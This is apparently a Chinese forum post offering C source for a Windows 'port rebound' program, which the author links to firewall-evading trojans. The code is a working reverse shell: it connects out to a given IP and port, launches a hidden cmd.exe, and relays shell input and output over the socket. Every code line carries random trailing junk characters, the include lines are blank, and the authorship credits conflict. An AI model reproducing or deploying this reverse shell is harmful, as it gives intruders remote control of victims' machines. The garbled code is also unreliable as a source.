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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uAYDX<Ja9  
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/* ============================== qu1! KS  
Rebound port in Windows NT %A `9[icy  
By wind,2006/7 Y"5FK  
===============================*/ 4Vj]bm  
#include A5fzyG   
#include Kk.\P|k2  
'yOx&~H]  
#pragma comment(lib,"wsock32.lib") #( 4)ps.  
N["M "s(N  
void OutputShell(); qzY:>>d'  
SOCKET sClient; 3 P\4K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J'#o6Ud  
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void main(int argc,char **argv) {IB4%,qT  
{ P5XUzLV L  
WSADATA stWsaData; G?s;L NR  
int nRet; 2CtCG8o  
SOCKADDR_IN stSaiClient,stSaiServer; %> YRNW@%  
&_QD1 TT  
if(argc != 3) sAX4giaLD  
{ ]*DIn1C^  
printf("Useage:\n\rRebound DestIP DestPort\n"); |.~2C1 4[  
return; 2sBYy 8.r  
} o 8^!wGY  
4. %/u@rAi  
WSAStartup(MAKEWORD(2,2),&stWsaData); z2.OR,R}]  
a#Z#-y!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ 511?ik  
k fOd|-  
stSaiClient.sin_family = AF_INET; l Hu8ADva  
stSaiClient.sin_port = htons(0); +^,&z}( Ak  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }i;!p Ue$  
!9zs>T&9a\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0}_1 ZU  
{ sZa>+  
printf("Bind Socket Failed!\n"); 0*OK]`9  
return; 1- GtZ2  
} l>Zp#+I-  
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stSaiServer.sin_family = AF_INET; '}Jq(ah(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c@O7,y:`I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g{?{N  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Em<J{`k6  
{ 5n2}|V$VqP  
printf("Connect Error!"); a,t]>z95  
return; _A$V~Hp9q  
} {y!77>Q/  
OutputShell(); dr=KoAIxy  
} .GDY J9vi  
nzi)4"3O  
void OutputShell() :=`N2D  
{ =5p?4/4 J  
char szBuff[1024]; hG/Z65`&  
SECURITY_ATTRIBUTES stSecurityAttributes; |msQ  
OSVERSIONINFO stOsversionInfo; h_t<Jl  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o[G,~f\-  
STARTUPINFO stStartupInfo; P-N+  
char *szShell; IrP6Rxh  
PROCESS_INFORMATION stProcessInformation; 44hz,  
unsigned long lBytesRead; Z+;670Z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w`Z@|A  
HX:^:pF}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X% M*d%n b  
stSecurityAttributes.lpSecurityDescriptor = 0; `yb,z   
stSecurityAttributes.bInheritHandle = TRUE; =Rf!i78c5  
g5~1uU$O  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 75H5{#)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4[LzjC  
L_YY,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'q*/P&x5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q1M16qv5  
stStartupInfo.wShowWindow = SW_HIDE; CY8=prC  
stStartupInfo.hStdInput = hReadPipe; HuL9' M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c:`&QDF  
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GetVersionEx(&stOsversionInfo); ,OO0*%  
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switch(stOsversionInfo.dwPlatformId) z9*7fT  
{ A!5)$>!o  
case 1: kKSn^q L*  
szShell = "command.com"; Qte'f+  
break; `ZAGseDd~  
default: Kd,7x'h`E  
szShell = "cmd.exe"; BB m;QOBU  
break; r \]iw v  
} wkZ}o,{*:  
6t6#<ts  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !Zf)N_k  
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send(sClient,szMsg,77,0); "^@0zy@x  
while(1) 4#@zn 2l  
{ s@bo df&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X5D}<J2"  
if(lBytesRead) H`ZUI8-  
{ fNaS?tV)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,a,coeL  
send(sClient,szBuff,lBytesRead,0); f qU*y 6]  
} i(XqoR-x  
else 7L&=z$U@m  
{ G8oOFBQD  
lBytesRead=recv(sClient,szBuff,1024,0); l< RztzUw  
if(lBytesRead<=0) break; (f|3(u'e?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pVm'XP  
} GKKf#r74  
} ^cF_z}Zi+  
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return; [Y]\sF;J  
}
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